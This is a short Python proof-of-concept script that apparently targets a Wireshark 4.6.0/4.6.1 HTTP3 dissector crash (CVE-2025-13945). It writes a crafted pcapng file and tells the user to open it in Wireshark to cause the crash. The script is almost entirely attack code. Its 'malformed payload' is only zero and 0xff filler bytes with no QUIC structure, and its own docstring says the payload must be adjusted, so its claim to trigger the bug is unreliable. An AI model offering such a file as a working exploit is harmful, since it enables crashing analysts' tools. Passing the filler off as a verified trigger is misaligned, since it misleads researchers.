The following code is for security research and authorized testing only.
python
#!/usr/bin/env python3
# CVE-2025-13945 PoC - Malformed HTTP3 packet causing Wireshark crash
# This PoC generates a pcapng file with a crafted HTTP3 packet
import struct
from scapy.all import IP, UDP, Raw, wrpcapng
def create_cve_2025_13945_poc():
"""
Generate a malicious pcapng file that triggers HTTP3 dissector crash in Wireshark 4.6.0/4.6.1
This PoC creates a packet with malformed HTTP3 frame data that causes
the HTTP3 dissector to crash when Wireshark attempts to parse it.
Note: The actual trigger requires specific malformed HTTP3 data patterns.
Adjust the payload based on the specific vulnerability trigger condition.
"""
print("[*] Generating CVE-2025-13945 PoC...")
# Create IP packet with UDP payload (QUIC uses UDP)
ip_packet = IP(src="127.0.0.1", dst="127.0.0.1")
# UDP header (QUIC typically uses port 443)
udp_packet = UDP(sport=12345, dport=443)
# Malformed HTTP3/QUIC payload
# This triggers the HTTP3 dissector vulnerability
malformed_payload = b'\x00' * 50 + b'\xff\xff\xff\xff' + b'\x00' * 100
# Construct the complete packet
malicious_packet = ip_packet / udp_packet / Raw(load=malformed_payload)
# Save as pcapng file
output_file = "CVE-2025-13945.pcapng"
wrpcapng(output_file, [malicious_packet])
print(f"[+] PoC file created: {output_file}")
print("[+] To trigger: Open this file in Wireshark 4.6.0 or 4.6.1")
print("[+] Expected result: Wireshark HTTP3 dissector crash")
if __name__ == "__main__":
try:
from scapy.all import wrpcapng
create_cve_2025_13945_poc()
except ImportError:
print("[-] Error: scapy library required. Install with: pip install scapy")
print("\n[*] Alternative: Create pcapng manually using tcpdump or other tools")